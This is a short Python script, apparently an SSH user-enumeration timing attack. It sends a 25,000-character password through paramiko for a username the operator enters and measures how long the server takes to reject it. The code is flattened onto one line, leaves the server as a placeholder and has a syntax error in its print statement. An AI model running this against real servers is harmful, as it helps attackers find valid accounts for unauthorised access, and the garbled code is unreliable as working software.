#!/usr/bin/python import paramiko import time user=raw_input("Enter user name: ") p='A'*25000ssh = paramiko.SSHClient() startTime=time.clock() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try:     ssh.connect(ENTER SSH SERVER, username=user, password=p) except:     endTime=time.clock() total=endTime-startTime print ("Response time: %s", %total )